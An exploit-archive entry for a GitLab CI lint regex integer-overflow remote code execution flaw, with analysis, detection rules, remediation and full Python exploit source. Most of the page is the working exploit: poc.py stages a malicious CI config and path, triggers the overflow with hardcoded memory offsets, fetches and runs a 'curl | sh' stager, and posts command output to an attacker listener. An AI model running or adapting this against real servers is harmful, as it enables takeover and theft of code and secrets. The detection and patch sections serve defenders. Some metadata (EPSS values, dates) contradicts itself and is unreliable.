PoC Archive PoC Archive
CVE-2026-97229 category: web CVSS 10 (CRITICAL) KEV EPSS 74%
Patched

GitLab CI Lint Regex Integer Overflow to RCE (CVE-2026-97229)

Published: 2026-11-25 • Researcher: Jonah Burgess (jburgess-r7, Rapid7) — PoC; Rapid7 threat analytics — technical analysis

Target software GitLab Community Edition and Enterprise Edition (CI/CD configuration processing, CI lint endpoint)
Affected versions 19.2 before 19.2.8; 19.3 before 19.3.5; 19.4 before 19.4.2 (NVD ranges; fixed in 19.2.8, 19.3.5 and 19.4.2)
Status Weaponized
Severity Critical · CVSS 10
CVSS 10.0/10

Exploitation signals

KEV EPSS 74%

Confirmed exploited in the wild. Added to CISA KEV 2026-10-29. Federal remediation deadline 2026-11-01.

EPSS 74.3% · 100th percentile

Severity
Critical
CVE
CVE-2026-97229
Category
web
Affected product
GitLab Community Edition and Enterprise Edition (CI/CD configuration processing, CI lint endpoint)
Affected versions
19.2 before 19.2.8; 19.3 before 19.3.5; 19.4 before 19.4.2 (NVD ranges; fixed in 19.2.8, 19.3.5 and 19.4.2)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-19
Author / ResearcherJonah Burgess (jburgess-r7, Rapid7) — PoC; Rapid7 threat analytics — technical analysis
CVE / AdvisoryCVE-2026-97229
Categoryweb
SeverityCritical
CVSS Score10.0 (as published; base vector not included in the ingested source data — see references)
StatusWeaponized
TagsRCE, unauthenticated, GitLab, CI/CD, CI-lint, regex, integer-overflow, Onigmo, Ruby, ASLR-bypass, KEV
RelatedN/A

Affected Target

FieldValue
Software / SystemGitLab Community Edition and Enterprise Edition (CI/CD configuration processing, CI lint endpoint)
Versions Affected19.2 before 19.2.8; 19.3 before 19.3.5; 19.4 before 19.4.2 (NVD ranges; fixed in 19.2.8, 19.3.5 and 19.4.2)
Language / PlatformRuby / C (Onigmo regular expression engine, Puma, GitLab Rails); Linux amd64 (Omnibus package referenced by the PoC)
Authentication RequiredPartial — push access to a public project is required to stage the payload; the delivery request carries no token, cookie or authorization header
Network Access RequiredYes

Summary

GitLab CE/EE before 19.2.8, 19.3.5 and 19.4.2 can execute arbitrary code on the GitLab server when a CI/CD configuration supplies a specially crafted regular expression, because the regular expression validation performed by GitLab is insufficient. The public PoC drives the bug through the CI lint API: an attacker with push access to a public project commits a crafted CI configuration plus a specially named repository path, and a later request to the project CI lint endpoint with no credentials executes a command as the GitLab git service account. The chain abuses an Onigmo repeat-count integer overflow that wraps a generated branch offset into character-class bitmap bytes, redirecting the regular expression VM stack into attacker-controlled path data while reusing interpreter pointers so ASLR is not a barrier. GitLab rates the issue CVSS 10.0, and the author reports successful command execution in 10 of 10 clean-worker trials against the official GitLab CE 19.4.1 amd64 image.

Vulnerability Details

Root Cause

CI configuration files may include rules whose exists.regexp value is a regular expression. GitLab scans such expressions for oversized repeat counts and rejects expressions whose compiled size exceeds one megabyte before it hands the expression to Ruby, where Onigmo compiles it. The repeat scanner and the compiler do not parse the expression identically: a repeat written as 5 with an embedded comment group before the remaining digits is seen as a small count by the scanner but as the full count by Onigmo. A second mismatch appears when the tested path is not US-ASCII, because Ruby recompiles the already-validated US-ASCII expression as UTF-8 after GitLab’s size check has passed. The resulting program is far larger than the check assumed: 37,151 bytecode units multiplied by 57,805 repeats crosses INT_MAX, and a generated branch offset wraps into the character-class bitmap bytes that follow the generated code. Those bitmap bytes become the control data for VM stack movement, so a repository path can supply a fake frame and reach a system call site.

Attack Vector

The attacker first needs push access to a public project — an ordinary project account is sufficient for the setup step. The PoC clones that project, commits a crafted .gitlab-ci.yml with the malicious include rule, a benign included file, and a file whose path encodes the first-stage command, then pushes the commit to a random branch. The second step is an unauthenticated HTTP GET to /api/v4/projects/:id/ci/lint with content_ref set to that branch: users without an account can read the public project and reach the CI lint endpoint, and that request compiles and tests the expression against the attacker-controlled repository paths. No token, cookie or authorization header is used for delivery.

Impact

Remote code execution as the GitLab git service account (uid 998 in the reference lab), which owns the repositories and can read GitLab configuration reachable by that account. The PoC returns arbitrary command output through an attacker callback listener, and the README reports command execution in 10 of 10 clean-worker trials with ASLR enabled (about 12 seconds per request). The Puma worker executing the payload normally crashes after the command returns and is replaced automatically, so the HTTP response is a 502 even on success. A compromised GitLab server exposes source code, CI variables, tokens and any credentials available to the GitLab application.

Environment / Lab Setup

Output
OS:          Linux amd64 (Docker / GitLab Omnibus)
Target:      gitlab/gitlab-ce:19.4.1-ce.0
             sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c
Attacker:    Python 3.9+ (standard library only), git client, hostable callback listener
Resources:   Generated pcode is slightly larger than 2 GiB; the single-node test
             instance needed about 9 GiB available memory
Tools:       python3, git, curl

Setup Steps

Shell script
1
2
3
4
5
6
docker run -d --hostname gitlab.example --shm-size 256m \
  -p 443:443 -p 80:80 -p 22:22 \
  gitlab/gitlab-ce:19.4.1-ce.0

python3 --version
git --version

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the attacker project — create or reuse a public project and an access token that can push branches to it; note the project ID (numeric or namespace/project).
  2. Start a callback listener — the PoC binds 0.0.0.0:8000 by default. Supply a callback address reachable from the GitLab host and short enough for the 28-byte first stage; use –listen-host / –listen-port if the bind address differs from the advertised one.
  3. Stage the payload — the script clones the project, generates .gitlab-ci.yml (with the malicious include rule), a benign.yml, and a file whose path encodes the command, commits and pushes to a random branch used as content_ref.
  4. Deliver unauthenticated — the script sends GET /api/v4/projects//ci/lint?content_ref= with no credentials. The CI lint call compiles the expression, tests it against the crafted path, and executes the first stage, which downloads and runs the second stage.
  5. Collect output — the second-stage script runs –cmd and POSTs stdout and stderr to the listener path /output/; a 502 response on delivery is expected because the Puma worker crashes after system returns.

Exploit Code

See poc.py in this folder for the full exploit; upstream documentation is preserved as upstream-README.md.

Python
1
2
3
4
url = f"{base_url.rstrip('/')}/api/v4/projects/{project}/ci/lint?content_ref={ref}"
request = urllib.request.Request(url)
with urllib.request.urlopen(request, timeout=timeout) as response:
    print(response.status)   # usually 502; success is judged by the callback

Expected Output

Output
1
2
3
4
5
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)

Detection & Indicators of Compromise

  • Unauthenticated GET requests to /api/v4/projects//ci/lint with a content_ref naming a short, non-default branch, ending in a 502 from the GitLab front end.
  • Puma / gitlab-rails logs showing a worker termination or restart immediately after a CI lint request, often accompanied by rapid memory growth of several GiB.
  • CI configuration (or pushed repository content) containing include rules with exists.regexp, large numeric repeat counts, or nested comment groups in the expression.
  • Repository paths containing supplementary-plane Unicode characters or control bytes, or unusually long paths created solely to carry data.
  • Outbound HTTP from the GitLab host to an unfamiliar short hostname that returns a shell script, immediately followed by an outbound POST containing command output.
  • A single GitLab process allocating more than 2 GiB of regular expression bytecode during CI lint compile.
Output
1
2
3
4
"GET /api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150 HTTP/1.1" 502

include: local ... rules: exists: regexp
Puma worker ... terminated; restarting (worker=1)

SIEM / IDS rule (example, coarse):

Output
1
2
3
4
alert http any any -> any any (msg:"Possible CVE-2026-97229 GitLab CI lint regex exploit"; \
  flow:to_server,established; content:"/api/v4/projects/"; http_uri; \
  content:"/ci/lint"; http_uri; content:"content_ref="; http_uri; \
  classtype:attempted-user; sid:9009722;)

Remediation

ActionDetail
PatchUpgrade to GitLab 19.2.8, 19.3.5, 19.4.2 or a later supported release (see GitLab’s critical patch release notes for deployment guidance).
WorkaroundReduce exposure until patched: restrict anonymous access to public projects and to the CI lint API, limit who may push to public projects, and restrict outbound network access from the GitLab host to approved destinations only.
Config HardeningPut a WAF or reverse proxy in front of GitLab that caps request URI length and rejects anomalous CI lint patterns, monitor GitLab process memory for multi-GiB regex compile spikes, and rotate CI variables, tokens and any credentials reachable by the git account after suspected exploitation.

References

Notes

Auto-ingested from https://github.com/jburgess-r7/CVE-2026-97229-PoC on 2026-11-25. Review verdict: this is a genuine exploit PoC, not a detector or scanner. poc.py implements the full chain — staged CI configuration and crafted repository path, unauthenticated CI lint delivery, Onigmo integer overflow with bitmap-driven VM stack control, and a 28-byte first-stage stager that retrieves the second stage and posts command output back to the attacker listener. It was archived as Weaponized on that basis.

License: the upstream repository contains no LICENSE file; the README and the exploit file are archived with attribution for authorized research only. Only the repository README (as upstream-README.md) and poc.py were copied; .gitignore was not archived as it carries no exploit content.

Limitations and operational notes: the author states the native layout was tested only against the official Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 image at the digest recorded above, and other affected builds need adjusted pcode and libruby offsets. The setup step requires push access to a public project that anonymous users can read, so it is not a fully unauthenticated single request. The generated pcode is slightly larger than 2 GiB and a complete single-node test instance needed about 9 GiB of memory, so low-memory targets may swap, fail allocation or be OOM-killed instead of executing code, and several concurrent requests can affect the whole instance. Successful execution crashes the Puma worker (expected 502) and requires target egress to the callback listener. The README describes the release as an initial PoC with ongoing analysis, and reports 10 of 10 successes on a clean worker with ASLR enabled, about 12 seconds per request; the same expression and path returned false on the fixed 19.4.2 compiler. CISA KEV lists exploitation from 2026-10-29; the ingested EPSS value is 0.1184. This entry is distinct from the separate GitLab Onigmo entry for CVE-2026-110264 (pocs/web/2026-11-25_regex2shell-gitlab-onigmo-rce/), which covers a different vulnerability.

Run only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/jburgess-r7/CVE-2026-97229-PoC (see README for attribution/license)
import argparse
import http.server
import json
import os
import queue
import secrets
import shlex
import ssl
import subprocess
import tempfile
import threading
import urllib.error
import urllib.parse
import urllib.request
from pathlib import Path

LIBRUBY_FINISH_CODE = 0x4885A9
LIBRUBY_SYSTEM_GADGET = 0x31E809
SYSTEM_STEP_COUNT = 1_256_138
TARGET_BYTECODE_SIZE = 37_151
REPEAT_COUNT = (0x7FFFFFFF + TARGET_BYTECODE_SIZE - 1) // TARGET_BYTECODE_SIZE
CALL_OFFSET = TARGET_BYTECODE_SIZE * 454 + 111
COMMAND_SIZE = 28

STAGES = [
    # Stage 0: PUSH_POS; ANYCHAR_STAR; LOOK_BEHIND(5); MEMORY_END(2); JUMP(stage 1).
    [0x4C, 0x18, 0x52, 5, 0, 0, 0, 0x39, 2, 0, 0x3D, 18, 0, 0, 0, 0],
    # Stage 1: MEMORY_END(1001=stk_end); POP_POS; MEMORY_END(1000=stk); scan through '@'; JUMP(stage 2).
    [0x39, 0xE9, 3, 0x4D, 0x39, 0xE8, 3, 0x1B, 0x40, 2, 0x40, 0x3D, 17, 0, 0, 0],
    # Stage 2: MEMORY_END(1026); MEMORY_START_PUSH(10); MEMORY_END(1000=stk); FAIL into the path's fake frame.
    [0x39, 2, 4, 0x36, 10, 0, 0x39, 0xE8, 3, 0x3C],
    # Stage 3: LOOK_BEHIND derives libruby's system gadget; MEMORY_END(1029) replaces the saved return target.
    [0x52, *SYSTEM_STEP_COUNT.to_bytes(4, "little"), 0x39, 5, 4],
]


def character_class(payload):
    bits = list(payload) + [0] * (16 - len(payload))
    codepoints = [
        byte_index * 8 + bit
        for byte_index, byte in enumerate(bits)
        for bit in range(8)
        if byte & (1 << bit)
    ]

    def escape(codepoint):
        character = chr(codepoint)
        if codepoint == 0:
            return "\0"
        if 1 <= codepoint <= 126 and character not in "-\\[]":
            return character
        if character in "-\\[]":
            return "\\" + character
        return f"\\x{codepoint:02x}"

    candidates = []
    for move_hyphen in (False, True):
        for move_bracket in (False, True):
            if move_hyphen and 45 not in codepoints:
                continue
            if move_bracket and 93 not in codepoints:
                continue
            excluded = ({45} if move_hyphen else set()) | ({93} if move_bracket else set())
            remaining = [codepoint for codepoint in codepoints if codepoint not in excluded]
            groups = []
            for codepoint in remaining:
                if groups and codepoint == groups[-1][-1] + 1:
                    groups[-1].append(codepoint)
                else:
                    groups.append([codepoint])
            encoded = "".join(
                f"{escape(group[0])}-{escape(group[-1])}" if len(group) >= 3 else "".join(map(escape, group))
                for group in groups
            )
            prefix = "]" if move_bracket else ""
            suffix = "-" if move_hyphen else ""
            candidates.append(f"[{prefix}{encoded}{suffix}]")
    return min(candidates, key=len)


def build(command):
    triggers = "".join(chr(next((codepoint for codepoint in range(48, 123)
                                 if STAGES[index][codepoint // 8] & (1 << (codepoint % 8))), 126))
                       for index in range(4))
    literal_prefix = "a" * 7 + triggers
    prefix = literal_prefix + "(|)" * 7 + "\\K" * 8
    target = "(?<=" + "[[:word:]]" * 6 + "".join(character_class(stage) for stage in STAGES) + ")"
    digits = str(REPEAT_COUNT)
    pattern = f"\\A(?>{prefix}(?:{target}){{{digits[0]}(?#){digits[1:]}}}|)\\b\\B"
    if len(pattern) > 255:
        raise ValueError(f"pattern has {len(pattern)} characters")

    command_bytes = command.encode("utf-8")
    if len(command_bytes) > COMMAND_SIZE:
        raise ValueError(
            f"command must be at most {COMMAND_SIZE} UTF-8 bytes; "
            "use a short curl/wget/nc stager"
        )
    shell_text = command_bytes.ljust(COMMAND_SIZE) + b" #"
    call = b"\x58" + CALL_OFFSET.to_bytes(4, "little")
    subject = literal_prefix.encode() + "𐐀".encode() * 15 + b"AAA@" + shell_text + call
    if b"\0" in subject:
        raise ValueError("Git paths cannot contain NUL")
    if len(subject) >= 4096:
        raise ValueError("payload path exceeds Linux PATH_MAX")
    if any(len(component) > 255 or component in (b"", b".", b"..") for component in subject.split(b"/")):
        raise ValueError("command produces an invalid or oversized Git path component")
    subject.decode("utf-8")
    return pattern, subject


def generate(directory, command, quiet=False):
    pattern, subject = build(command)
    output = os.fsencode(os.path.abspath(directory))
    os.makedirs(output, exist_ok=True)
    Path(directory, ".gitlab-ci.yml").write_text(
        "include:\n  - local: '/benign.yml'\n    rules:\n      - exists:\n          regexp: "
        + json.dumps(pattern, ensure_ascii=True)
        + "\nbase:\n  script: ':'\n"
    )
    Path(directory, "benign.yml").write_text('included:\n  script: ":"\n')
    payload_path = os.path.join(output, subject)
    os.makedirs(os.path.dirname(payload_path), exist_ok=True)
    open(payload_path, "wb").close()
    if not quiet:
        print(f"[+] payload generated: regex={len(pattern)} chars, path={len(subject)} bytes", flush=True)


def git(repository, *arguments):
    subprocess.run(["git", "-C", repository, *arguments], check=True)


def trigger(base_url, project, ref, timeout, insecure):
    project = urllib.parse.quote(project, safe="")
    query = urllib.parse.urlencode({"content_ref": ref})
    url = f"{base_url.rstrip('/')}/api/v4/projects/{project}/ci/lint?{query}"
    request = urllib.request.Request(url)
    context = ssl._create_unverified_context() if insecure else None
    print(f"[*] delivery GET {url}", flush=True)
    try:
        with urllib.request.urlopen(request, timeout=timeout, context=context) as response:
            print(f"[*] HTTP {response.status}: {response.read(512).decode(errors='replace')}")
    except (TimeoutError, urllib.error.URLError, ConnectionError) as error:
        print(f"[*] target stopped responding after delivery: {error}")


def exploit(base_url, project, git_url, command, public_url, bind_host, bind_port,
            timeout, insecure):
    nonce = secrets.token_hex(4)
    ref = nonce
    endpoint_url = public_url.rstrip("/")
    callback_url = endpoint_url if "://" in endpoint_url else "http://" + endpoint_url
    first_stage = f"curl -s {endpoint_url}|sh"
    build(first_stage)

    output_queue = queue.Queue()
    stage = (
        "#!/bin/sh\n"
        f"{{ {command}; }} 2>&1 | curl -sS --data-binary @- "
        f"{shlex.quote(callback_url + '/output/' + nonce)}\n"
    ).encode()

    class CallbackHandler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header("Content-Type", "text/x-shellscript")
            self.send_header("Content-Length", str(len(stage)))
            self.end_headers()
            self.wfile.write(stage)

        def do_POST(self):
            if self.path != "/output/" + nonce:
                self.send_error(404)
                return
            length = int(self.headers.get("Content-Length", "0"))
            output_queue.put(self.rfile.read(length))
            self.send_response(204)
            self.end_headers()

        def log_message(self, *_):
            pass

    server = http.server.ThreadingHTTPServer((bind_host, bind_port), CallbackHandler)
    threading.Thread(target=server.serve_forever, daemon=True).start()
    try:
        with tempfile.TemporaryDirectory(prefix="deploy-") as repository:
            subprocess.run(["git", "clone", "--quiet", "--depth", "1", git_url, repository], check=True)
            generate(repository, first_stage, quiet=True)
            git(repository, "add", "-A")
            subprocess.run([
                "git", "-C", repository,
                "-c", "user.name=User",
                "-c", "user.email=user@localhost",
                "commit", "--quiet", "-m", "Update",
            ], check=True)
            git(repository, "push", "--quiet", "origin", f"HEAD:refs/heads/{ref}")

        print(f"[*] deployed attacker ref {ref}; executing: {command}", flush=True)
        trigger(base_url, project, ref, timeout, insecure)
        print(output_queue.get(timeout=timeout).decode(errors="replace"), end="")
    except queue.Empty:
        raise RuntimeError("no callback received; verify target egress and --callback-url")
    finally:
        server.shutdown()


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-97229 GitLab CE 19.4.1 amd64 exploit")
    parser.add_argument("base_url", help="GitLab base URL, for example https://gitlab.example")
    parser.add_argument("project", help="numeric ID or namespace/project of the public attacker project")
    parser.add_argument("--git-url", required=True, help="authenticated clone URL for that attacker project")
    parser.add_argument("--cmd", default="id", help="arbitrary command returned through the callback")
    parser.add_argument("--callback-url", required=True,
                        help="this listener as reached by GitLab; omit http:// when necessary to fit")
    parser.add_argument("--listen-host", default="0.0.0.0")
    parser.add_argument("--listen-port", type=int, default=8000)
    parser.add_argument("--timeout", type=float, default=150)
    parser.add_argument("--insecure", action="store_true")
    args = parser.parse_args()
    exploit(args.base_url, args.project, args.git_url, args.cmd,
            args.callback_url, args.listen_host, args.listen_port,
            args.timeout, args.insecure)


if __name__ == "__main__":
    main()